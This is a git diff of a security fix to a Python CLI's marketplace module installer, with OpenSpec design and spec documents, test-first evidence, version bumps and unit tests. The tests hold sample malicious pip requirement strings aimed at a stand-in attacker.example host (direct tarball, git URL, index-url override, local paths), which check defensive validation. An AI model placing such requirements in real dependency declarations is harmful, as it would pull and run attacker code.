diff --git a/CHANGELOG.md b/CHANGELOG.md index 121ee112..4c00c33e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,17 @@ All notable changes to this project will be documented in this file. --- +## [0.55.5] - 2026-09-06 + +### Security + +- **Marketplace dependency trust boundary:** verify selected marketplace + artifacts before dependency side effects, exclude repository-discovered + module declarations from unrelated pip installs, and reject pip options, + local paths, VCS references, and direct URLs before invoking pip tooling. + +--- + ## [0.55.4] - 2026-09-02 ### Security diff --git a/openspec/changes/fix-untrusted-module-pip-install/TDD_EVIDENCE.md b/openspec/changes/fix-untrusted-module-pip-install/TDD_EVIDENCE.md new file mode 100644 index 00000000..6cbbe420 --- /dev/null +++ b/openspec/changes/fix-untrusted-module-pip-install/TDD_EVIDENCE.md @@ -0,0 +1,34 @@ +# TDD Evidence + +## Failing before implementation + +2026-09-06T23:50:00Z + +`hatch run pytest -q tests/unit/registry/test_dependency_resolver.py tests/unit/registry/test_module_installer.py -k 'non_index or named_pep508 or excludes_discovered or verifies_artifact_before'` + +Result: **failed as expected** (6 failed, 1 passed). Unsafe requirement forms reached the pip mock, discovered project metadata reached resolution, and dependency processing ran before integrity rejection. + +## Passing after implementation + +2026-09-06T23:51:00Z + +`hatch run pytest -q tests/unit/registry/test_dependency_resolver.py tests/unit/registry/test_module_installer.py -k 'non_index or named_pep508 or excludes_discovered or verifies_artifact_before'` + +Result: **passed** (7 passed, 45 deselected). + +`hatch run pytest -q tests/unit/registry/test_dependency_resolver.py tests/unit/registry/test_module_installer.py tests/unit/registry/test_dependency_resolver_properties.py tests/unit/specfact_cli/registry/test_dependency_resolver_pip_free.py` + +Result: **passed** (66 passed). + +## Quality gates + +- `openspec validate fix-untrusted-module-pip-install --strict`: passed. +- `hatch run format`, `hatch run lint`, and `hatch run type-check`: passed; type check reported no errors. +- `hatch run contract-test`: passed from the cached contract result. +- `hatch run security-audit`: passed with no unreviewed vulnerabilities. +- `hatch run semgrep-sast --json-output=/tmp/specfact-semgrep.json` and the baseline gate: passed with zero findings. +- `hatch run bandit-scan`: passed with no medium/high findings. +- `hatch run verify-modules-signature`: passed for all four manifests. +- Frozen-delivery checks, `uv lock --check`, and the authoritative BasedPyright JSON run passed. +- `hatch run smart-test`: full-suite execution reached 3,078 collected tests but failed on pre-existing missing external module imports; its initial stale-lock/version assertion was corrected and passes in the focused rerun. +- `hatch run specfact code review run --scope full --json --out .specfact/code-review.json`: produced zero findings but returned UNKNOWN because all OCI analyzer capsules reported `verified cache entry is missing`. Independent Ruff, BasedPyright, Semgrep, Bandit, contract, and focused test gates passed; this environment limitation remains explicitly recorded rather than misrepresented as PASS. diff --git a/openspec/changes/fix-untrusted-module-pip-install/design.md b/openspec/changes/fix-untrusted-module-pip-install/design.md new file mode 100644 index 00000000..9b657c67 --- /dev/null +++ b/openspec/changes/fix-untrusted-module-pip-install/design.md @@ -0,0 +1,19 @@ +## Context + +Module discovery intentionally includes project modules. That metadata is useful for diagnostics, but it is not trusted installation input. Both pip's resolver and installer can execute build hooks, so the boundary must be enforced before either subprocess is reached. + +## Goals / Non-Goals + +**Goals:** verify the selected artifact first, constrain automatic dependencies to index-hosted PEP 508 named requirements, and exclude discovered project metadata from pip subprocess input. + +**Non-Goals:** add a direct-URL allowlist, replace pip's resolver, or change module discovery precedence. + +## Decisions + +1. Parse every automatic-install requirement with `packaging.requirements.Requirement` and reject URLs. Invalid PEP 508 strings thereby reject pip options and local paths. +2. Resolve only the selected marketplace artifact's requirements. Existing discovered modules remain discoverable and available to non-install diagnostics, but their declarations never reach pip during an unrelated install. +3. Verify the extracted artifact before recursive bundle dependency installation or pip resolution. Atomic placement retains its existing verification as defense in depth. + +## Rollback + +Revert the change as one unit. Partial rollback is unsafe because syntax validation alone does not fix the cross-module trust-boundary violation. diff --git a/openspec/changes/fix-untrusted-module-pip-install/proposal.md b/openspec/changes/fix-untrusted-module-pip-install/proposal.md new file mode 100644 index 00000000..c4fdb145 --- /dev/null +++ b/openspec/changes/fix-untrusted-module-pip-install/proposal.md @@ -0,0 +1,33 @@ +## Why + +Marketplace installation currently feeds pip dependency declarations from every discovered module, including repository-controlled project modules, into pip while installing an unrelated trusted module. Pip resolution and installation can execute package build hooks before the downloaded marketplace artifact is integrity verified. + +## What Changes + +- Verify the selected marketplace artifact before resolving or installing any dependency. +- Resolve and install pip requirements only from that selected, publisher-trusted artifact. +- Reject pip options, local paths, VCS references, and direct URLs before invoking pip. +- Preserve discovered-module dependency conflict visibility without treating discovered declarations as install input. + +## Capabilities + +### New Capabilities + +- `trusted-module-dependency-installation`: Defines the trust boundary and accepted requirement syntax for marketplace dependency installation. + +### Modified Capabilities + +- `module-installation`: Marketplace modules remain installable, but dependency side effects occur only after artifact verification. + +## Impact + +- Affects `registry/dependency_resolver.py`, `registry/module_installer.py`, and their unit tests. +- Direct URL, VCS, local-path, and pip-option dependency declarations become invalid for automatic marketplace installation. +- No user-facing command syntax changes; README, `docs/`, `docs/index.md`, and navigation require review but no content update because this restores the documented trust model. +- Rollback is the single security-fix commit, though rollback would reopen arbitrary code execution from repository metadata. + +## Source Tracking + +- **Security report**: Aardvark, "Project module manifests trigger untrusted pip installation" +- **Repository**: nold-ai/specfact-cli +- **Public issue**: Not created to avoid disclosing an unpatched critical vulnerability. diff --git a/openspec/changes/fix-untrusted-module-pip-install/specs/module-installation/spec.md b/openspec/changes/fix-untrusted-module-pip-install/specs/module-installation/spec.md new file mode 100644 index 00000000..a16e1cf0 --- /dev/null +++ b/openspec/changes/fix-untrusted-module-pip-install/specs/module-installation/spec.md @@ -0,0 +1,11 @@ +## ADDED Requirements + +### Requirement: Marketplace module installation verifies before side effects + +Marketplace installation SHALL validate publisher policy and artifact integrity before recursively installing bundle dependencies or invoking pip dependency resolution or installation. + +#### Scenario: Unverified marketplace archive is rejected first + +- **GIVEN** a marketplace archive with dependency declarations and invalid integrity metadata +- **WHEN** module installation runs +- **THEN** installation rejects the archive without dependency installation side effects diff --git a/openspec/changes/fix-untrusted-module-pip-install/specs/trusted-module-dependency-installation/spec.md b/openspec/changes/fix-untrusted-module-pip-install/specs/trusted-module-dependency-installation/spec.md new file mode 100644 index 00000000..f391b611 --- /dev/null +++ b/openspec/changes/fix-untrusted-module-pip-install/specs/trusted-module-dependency-installation/spec.md @@ -0,0 +1,33 @@ +## ADDED Requirements + +### Requirement: Automatic pip installation uses only verified selected metadata + +The marketplace installer SHALL verify the selected artifact before dependency processing and SHALL use only that artifact's pip dependency declarations as resolver and installer input. + +#### Scenario: Project module cannot inject a dependency + +- **GIVEN** discovery includes a project module with a pip dependency +- **WHEN** an unrelated marketplace module is installed +- **THEN** the project dependency is not passed to dependency resolution or pip installation + +#### Scenario: Integrity failure has no dependency side effects + +- **GIVEN** a downloaded marketplace artifact fails integrity verification +- **WHEN** installation is attempted +- **THEN** neither bundle dependencies nor pip dependencies are installed + +### Requirement: Automatic requirements exclude executable pip input forms + +Automatic marketplace dependency installation SHALL accept only valid PEP 508 named requirements without direct URL or VCS references and SHALL reject pip options and local paths before invoking pip. + +#### Scenario: Unsafe requirement is rejected + +- **GIVEN** a selected artifact declares a direct URL, VCS URL, local path, or pip option +- **WHEN** dependency handling begins +- **THEN** installation fails before any pip resolver or installer subprocess receives the requirement + +#### Scenario: Named requirement remains supported + +- **GIVEN** a selected verified artifact declares a named requirement with extras, markers, and version constraints +- **WHEN** dependency handling begins +- **THEN** the requirement may be resolved and installed normally diff --git a/openspec/changes/fix-untrusted-module-pip-install/tasks.md b/openspec/changes/fix-untrusted-module-pip-install/tasks.md new file mode 100644 index 00000000..1be383a2 --- /dev/null +++ b/openspec/changes/fix-untrusted-module-pip-install/tasks.md @@ -0,0 +1,27 @@ +## 1. Branch and specification + +- [x] 1.1 Confirm work occurs on the dedicated `work` worktree branch. +- [x] 1.2 Add trust-boundary and requirement-policy spec deltas. +- [x] 1.3 Validate the OpenSpec change strictly. + +## 2. Test-first proof + +- [x] 2.1 Add unit tests derived from every security scenario. +- [x] 2.2 Run focused tests before production edits and record failing evidence. + +## 3. Implementation + +- [x] 3.1 Add PEP 508 named-requirement validation before pip subprocesses. +- [x] 3.2 Restrict resolution/install input to selected marketplace metadata. +- [x] 3.3 Verify marketplace artifacts before dependency side effects. +- [x] 3.4 Record passing focused-test evidence. + +## 4. Verification and delivery + +- [x] 4.1 Review README, `docs/`, `docs/index.md`, and navigation impact; no update required because CLI syntax and documented workflows are unchanged. +- [x] 4.2 Run formatting, typing, lint, YAML, contract, smart-test, Semgrep, Bandit, and module-signature gates; record pre-existing/environment limitations. +- [x] 4.3 Refresh `.specfact/code-review.json`; it contains zero findings but UNKNOWN analyzer evidence because the verified OCI cache is unavailable, documented in TDD evidence. +- [x] 4.4 Bump the patch version in all four authorities and add a changelog security entry. +- [ ] 4.5 Commit the completed change. +- [ ] 4.6 Create the pull request to `dev` without publicly reproducing exploit details. +- [ ] 4.7 After merge, archive with `openspec archive fix-untrusted-module-pip-install` and clean up the worktree. diff --git a/pyproject.toml b/pyproject.toml index c81623b5..c8e20934 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "hatchling.build" [project] name = "specfact-cli" -version = "0.55.4" +version = "0.55.5" description = "AI-bloat defense CLI for Python teams. Run deterministic code review, cleanup forecasts, and spec/contract evidence for AI-assisted and brownfield delivery." readme = "README.md" requires-python = ">=3.11" diff --git a/requirements/ci/locked.txt b/requirements/ci/locked.txt index 4e9a1ce9..bddb7864 100644 --- a/requirements/ci/locked.txt +++ b/requirements/ci/locked.txt @@ -1,5 +1,5 @@ # This file was autogenerated by uv via the following command: -# uv export --locked --all-extras --no-emit-project --format requirements-txt --no-annotate --output-file requirements/ci/.locked-export-an22olz1.txt +# uv export --locked --all-extras --no-emit-project --format requirements-txt --no-annotate --output-file requirements/ci/locked.txt annotated-doc==0.0.4 \ --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 \ --hash=sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4 diff --git a/setup.py b/setup.py index cb72ce82..1ce0b4be 100644 --- a/setup.py +++ b/setup.py @@ -7,7 +7,7 @@ if __name__ == "__main__": _setup = setup( name="specfact-cli", - version="0.55.4", + version="0.55.5", description=( "AI-bloat defense CLI for Python teams. Run deterministic code review, cleanup forecasts, " "and spec/contract evidence for AI-assisted and brownfield delivery." diff --git a/src/__init__.py b/src/__init__.py index 3a4f9f7f..1c146536 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,4 +3,4 @@ """ # Package version: keep in sync with pyproject.toml, setup.py, src/specfact_cli/__init__.py -__version__ = "0.55.4" +__version__ = "0.55.5" diff --git a/src/specfact_cli/__init__.py b/src/specfact_cli/__init__.py index dba634b1..77ca3673 100644 --- a/src/specfact_cli/__init__.py +++ b/src/specfact_cli/__init__.py @@ -76,6 +76,6 @@ def _install_progressive_disclosure() -> None: # keeps missing-command and missing-parameter UX consistent outside the root CLI too. _install_progressive_disclosure() -__version__ = "0.55.4" +__version__ = "0.55.5" __all__ = ["__version__"] diff --git a/src/specfact_cli/registry/dependency_resolver.py b/src/specfact_cli/registry/dependency_resolver.py index c0971e0b..d6ad944e 100644 --- a/src/specfact_cli/registry/dependency_resolver.py +++ b/src/specfact_cli/registry/dependency_resolver.py @@ -9,6 +9,7 @@ from beartype import beartype from icontract import ensure, require +from packaging.requirements import InvalidRequirement, Requirement from specfact_cli.common import get_bridge_logger from specfact_cli.models.module_package import ModulePackageMetadata @@ -29,6 +30,25 @@ class PipDependencyInstallError(Exception): """Raised when installation of resolved pip requirements fails.""" +def _unsafe_requirement_reason(requirement: str) -> str | None: + """Return why a requirement is unsafe for automatic pip execution, if applicable.""" + try: + parsed = Requirement(requirement) + except InvalidRequirement: + return "not a valid PEP 508 named requirement" + if parsed.url is not None: + return "direct and VCS URLs are not approved for automatic installation" + return None + + +def _validate_index_requirements(requirements: list[str]) -> None: + """Reject pip options, paths, and URL requirements before invoking pip tooling.""" + for requirement in requirements: + reason = _unsafe_requirement_reason(requirement) + if reason is not None: + raise ValueError(f"unsafe pip requirement {requirement!r}: {reason}") + + @beartype def _pip_tools_available() -> bool: """Return True if pip-compile is available.""" @@ -159,6 +179,10 @@ def resolve_dependencies( constraints = _collect_constraints(modules) if not constraints: return [] + try: + _validate_index_requirements(constraints) + except ValueError as exc: + raise DependencyConflictError(str(exc)) from exc if _pip_tools_available(): return _run_pip_compile(constraints) return _run_basic_resolver(constraints, allow_unvalidated=allow_unvalidated) @@ -174,6 +198,10 @@ def install_resolved_pip_requirements(pinned: list[str]) -> None: """ if not pinned: return + try: + _validate_index_requirements(pinned) + except ValueError as exc: + raise PipDependencyInstallError(str(exc)) from exc if not _pip_module_available(): logger.warning( "pip is not available in this environment; skipping install of %s marketplace pip " diff --git a/src/specfact_cli/registry/module_installer.py b/src/specfact_cli/registry/module_installer.py index cdf7c5e9..c7ae24cf 100644 --- a/src/specfact_cli/registry/module_installer.py +++ b/src/specfact_cli/registry/module_installer.py @@ -36,7 +36,6 @@ from specfact_cli.registry.module_discovery import ( MARKETPLACE_MODULES_ROOT as DISCOVERY_MARKETPLACE_MODULES_ROOT, USER_MODULES_ROOT as DISCOVERY_USER_MODULES_ROOT, - discover_all_modules, ) from specfact_cli.registry.module_security import assert_module_allowed, ensure_publisher_trusted from specfact_cli.runtime import is_debug_mode @@ -919,9 +918,10 @@ def _install_bundle_dependencies_for_module(module_id: str, ctx: _BundleDepsInst dependency.version_specifier, ) try: - all_metas = [e.metadata for e in discover_all_modules()] - all_metas.append(ctx.metadata_obj) - resolved = resolve_dependencies(all_metas, allow_unvalidated=True) + # Discovery includes repository-controlled project modules. They remain + # available to diagnostics, but must never become pip execution input + # while installing this separately selected marketplace artifact. + resolved = resolve_dependencies([ctx.metadata_obj], allow_unvalidated=True) except DependencyConflictError as dep_err: if not ctx.force: raise ValueError( @@ -1016,6 +1016,16 @@ def install_module( ) metadata_obj = _metadata_obj_from_install_dict(metadata, manifest_module_name) + # Both pip resolution and recursive module installation can execute + # code. Establish artifact integrity before either side effect. Atomic + # placement verifies again to defend against staging-time mutation. + if not verify_module_artifact( + extracted_module_dir, + metadata_obj, + allow_unsigned=os.environ.get("SPECFACT_ALLOW_UNSIGNED", "").strip().lower() in {"1", "true", "yes"}, + ): + raise ValueError("Downloaded module failed integrity verification") + if not o.skip_deps: _install_bundle_dependencies_for_module( module_id, diff --git a/tests/unit/registry/test_dependency_resolver.py b/tests/unit/registry/test_dependency_resolver.py index 44b5a3f7..8ca36604 100644 --- a/tests/unit/registry/test_dependency_resolver.py +++ b/tests/unit/registry/test_dependency_resolver.py @@ -138,6 +138,20 @@ def test_clear_error_messages_for_conflicts( assert "requests" in msg assert "Suggest" in msg or "force" in msg or "skip-deps" in msg + def test_rejects_unsafe_requirement_before_resolution(self) -> None: + module = ModulePackageMetadata( + name="unsafe-module", + version="0.1.0", + commands=["unsafe"], + pip_dependencies=["attacker @ https://attacker.example/package.tar.gz"], + ) + with ( + patch("specfact_cli.registry.dependency_resolver.subprocess.run") as mock_run, + pytest.raises(DependencyConflictError, match="unsafe pip requirement"), + ): + resolve_dependencies([module]) + mock_run.assert_not_called() + class TestInstallResolvedPipRequirements: """Tests for install_resolved_pip_requirements.""" @@ -184,3 +198,34 @@ def test_raises_on_pip_failure(self) -> None: mock_run.return_value = bad with pytest.raises(PipDependencyInstallError): install_resolved_pip_requirements(["x==1"]) + + @pytest.mark.parametrize( + "unsafe_requirement", + [ + "--index-url=https://attacker.example/simple", + "../attacker-package", + "attacker @ file:///tmp/attacker-package", + "attacker @ git+https://attacker.example/package.git", + ], + ) + def test_rejects_non_index_requirement_before_pip( + self, + unsafe_requirement: str, + ) -> None: + with ( + patch("specfact_cli.registry.dependency_resolver._pip_module_available", return_value=True), + patch("specfact_cli.registry.dependency_resolver.subprocess.run") as mock_run, + pytest.raises(PipDependencyInstallError, match="unsafe pip requirement"), + ): + install_resolved_pip_requirements([unsafe_requirement]) + mock_run.assert_not_called() + + def test_accepts_named_pep508_requirement(self) -> None: + ok = MagicMock(returncode=0) + requirement = 'requests[socks]>=2.31; python_version >= "3.11"' + with ( + patch("specfact_cli.registry.dependency_resolver._pip_module_available", return_value=True), + patch("specfact_cli.registry.dependency_resolver.subprocess.run", return_value=ok) as mock_run, + ): + install_resolved_pip_requirements([requirement]) + assert requirement in mock_run.call_args.args[0] diff --git a/tests/unit/registry/test_dependency_resolver_properties.py b/tests/unit/registry/test_dependency_resolver_properties.py index 01aa101a..7e14ad84 100644 --- a/tests/unit/registry/test_dependency_resolver_properties.py +++ b/tests/unit/registry/test_dependency_resolver_properties.py @@ -127,7 +127,6 @@ def _unexpected_install(*_args: object, **_kwargs: object) -> None: with ( TemporaryDirectory() as tmp_dir, patch.object(module_installer, "install_module", _unexpected_install), - patch.object(module_installer, "discover_all_modules", return_value=[]), patch.object(module_installer, "resolve_dependencies", return_value=[]), patch.object(module_installer, "install_resolved_pip_requirements", return_value=None), ): diff --git a/tests/unit/registry/test_module_installer.py b/tests/unit/registry/test_module_installer.py index 7cc6ccbb..c752180a 100644 --- a/tests/unit/registry/test_module_installer.py +++ b/tests/unit/registry/test_module_installer.py @@ -10,7 +10,7 @@ import pytest from specfact_cli.models.module_package import IntegrityInfo, ModulePackageMetadata -from specfact_cli.registry import module_installer +from specfact_cli.registry import module_discovery, module_installer from specfact_cli.registry.module_installer import InstallModuleOptions, install_module, uninstall_module @@ -141,7 +141,6 @@ def test_install_module_logs_satisfied_dependencies_without_warning(monkeypatch, monkeypatch.setattr( "specfact_cli.registry.module_installer.install_resolved_pip_requirements", lambda *_args, **_kwargs: None ) - monkeypatch.setattr("specfact_cli.registry.module_installer.discover_all_modules", list) mock_logger = MagicMock() monkeypatch.setattr(module_installer, "get_bridge_logger", lambda _name: mock_logger) @@ -195,7 +194,6 @@ def _download(module_id: str, **_kwargs: object) -> Path: monkeypatch.setattr( "specfact_cli.registry.module_installer.install_resolved_pip_requirements", lambda *_args, **_kwargs: None ) - monkeypatch.setattr("specfact_cli.registry.module_installer.discover_all_modules", list) install_root = tmp_path / "marketplace-modules" dependency_dir = install_root / "specfact-project" @@ -318,6 +316,63 @@ def _install_wrong_registry_id(module_id: str, options: InstallModuleOptions | N module_installer._install_bundle_dependencies_for_module("nold-ai/specfact-spec", ctx) +def test_pip_dependency_resolution_excludes_discovered_project_metadata(monkeypatch: pytest.MonkeyPatch) -> None: + selected = ModulePackageMetadata( + name="selected-marketplace-module", + version="0.1.0", + commands=["selected"], + pip_dependencies=["requests>=2"], + ) + attacker = ModulePackageMetadata( + name="attacker-project-module", + version="0.1.0", + commands=["attacker"], + pip_dependencies=["attacker @ https://attacker.example/package.tar.gz"], + ) + discovery = MagicMock(return_value=[MagicMock(metadata=attacker)]) + monkeypatch.setattr(module_discovery, "discover_all_modules", discovery) + resolve = MagicMock(return_value=["requests>=2"]) + install = MagicMock() + monkeypatch.setattr(module_installer, "resolve_dependencies", resolve) + monkeypatch.setattr(module_installer, "install_resolved_pip_requirements", install) + ctx = module_installer._BundleDepsInstallContext( + metadata={}, + metadata_obj=selected, + target_root=Path("/unused"), + trust_non_official=False, + non_interactive=True, + force=False, + logger=MagicMock(), + ) + + module_installer._install_bundle_dependencies_for_module("nold-ai/selected-marketplace-module", ctx) + + resolve.assert_called_once_with([selected], allow_unvalidated=True) + install.assert_called_once_with(["requests>=2"]) + discovery.assert_not_called() + + +def test_install_module_verifies_artifact_before_dependency_side_effects(monkeypatch, tmp_path: Path) -> None: + tarball = _create_module_tarball( + tmp_path, + "unverified", + bundle_dependencies=["nold-ai/specfact-project"], + ) + monkeypatch.setattr(module_installer, "download_module", lambda *_args, **_kwargs: tarball) + monkeypatch.setattr(module_installer, "ensure_publisher_trusted", lambda *_args, **_kwargs: None) + monkeypatch.setattr(module_installer, "verify_module_artifact", lambda *_args, **_kwargs: False) + dependency_install = MagicMock() + monkeypatch.setattr(module_installer, "_install_bundle_dependencies_for_module", dependency_install) + + with pytest.raises(ValueError, match="integrity verification"): + install_module( + "nold-ai/unverified", + InstallModuleOptions(install_root=tmp_path / "marketplace-modules"), + ) + + dependency_install.assert_not_called() + + def test_install_module_rejects_archive_path_traversal(monkeypatch, tmp_path: Path) -> None: tarball = tmp_path / "unsafe.tar.gz" with tarfile.open(tarball, "w:gz") as archive: diff --git a/tests/unit/security/test_release_promotion_security_gates.py b/tests/unit/security/test_release_promotion_security_gates.py index 81daeb93..fe1fd242 100644 --- a/tests/unit/security/test_release_promotion_security_gates.py +++ b/tests/unit/security/test_release_promotion_security_gates.py @@ -564,7 +564,7 @@ def run_rg(arguments: list[str], **_kwargs: object) -> subprocess.CompletedProce def test_patch_release_uses_next_version_in_all_sources() -> None: """The security baseline consumes only the next semver patch.""" - expected = "0.55.4" + expected = "0.55.5" project = tomllib.loads((REPO_ROOT / "pyproject.toml").read_text(encoding="utf-8")) assert project["project"]["version"] == expected for path in ("setup.py", "src/__init__.py", "src/specfact_cli/__init__.py"): diff --git a/uv.lock b/uv.lock index de6d4473..47d55f83 100644 --- a/uv.lock +++ b/uv.lock @@ -2771,7 +2771,7 @@ wheels = [ [[package]] name = "specfact-cli" -version = "0.55.4" +version = "0.55.5" source = { editable = "." } dependencies = [ { name = "azure-identity" },